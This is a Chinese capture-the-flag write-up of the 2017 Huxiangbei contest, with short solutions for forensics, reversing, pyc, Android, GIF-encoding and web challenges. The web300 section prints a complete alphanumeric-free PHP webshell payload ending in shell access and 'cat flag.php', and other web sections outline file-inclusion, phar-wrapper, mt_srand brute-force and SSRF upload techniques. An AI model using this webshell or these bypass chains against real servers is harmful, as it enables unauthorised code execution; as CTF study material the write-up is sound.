2017湖湘杯writeup
部分题解
流量分析
导出http 发现有个flag.zip
解压后文件内容是rgb的像素点
脚本:
Re4newer
ida打开
定位到判断函数
flag 是v4和0x22的异或
然后web狗手撕的 :)
Misc200
当时没做出来,因为没有去调试。。
拖到jeb里看一下有一个加密,一个解密文件,解密文件没东西,看了下加密,就是普通的和密码进行异或。所以就是要找到password,并没有找到。
我们进行调试,在加密一下就可以得到原文了,而且发现此时密码已经记住,然后把加密文件扔进去,就可以得到flag图片了
pyc分析
2015xdctf原题uncompyle6 revPyc.pyc
反编译出源码
查看globals()
|
|
整理完代码
|
|
加密方式就出来了,把原字符在table的index+1后,把后6位保存到文件里,由于64==38,我就每3字节一起decode,decode3b函数
exp
|
|
由于只保留了最后6位,所以在table里的index大于64的特殊字符是没有的,key后面的d其实是:
web200
根据http://118.190.87.135:10080/?op=home
尝试文件包含 ../ 关键字被禁
使用php filter 读取文件
common.php 发现自动添加.png后缀
可以使用phar协议绕过
但是php 命令执行相关函数被禁 可以使用php函数读取
简单的安卓
jeb载入 即可
热身运动
gif 一帧帧的看
发现坐标可以和base64 一一对应 最后=补全即可
ZmxhZ3sxdF8xNV9mdW5ueX0=
flag{1t_15_funny}
random
.index.php.swp
发现源码泄露
简单的mt_srand随机数爆破 session置空的绕过
脚本如下
web300
阅读源码 构造不含上述字符的shell即可
根据p牛博客
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
‘a’++ => ‘b’,’b’++ => ‘c’… 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。
那么,如何拿到一个值为字符串’a’的变量呢?
巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。
在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array:
再取这个字符串的第一个字母,就可以获得’A’了
payload:http://127.0.0.1:8000/web300.php?content=$_=[].'';$_=$_[']'=='['];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
url 编码一下 提交
getshell
cat flag.php
Misc300
脚本:
漫画图作者为billwatterson,就是flag
web400
这个题好像没人做出来。。。
赛后听人说是先用ssrf 302读文件,上传文件页面需要session[‘token’]=1,然后开启debug请求user.php获取session,利用session上传文件,common.php可以自动包含文件,include参数加入赋值等于upload,会自动包含ini文件。
没有环境也没有复现。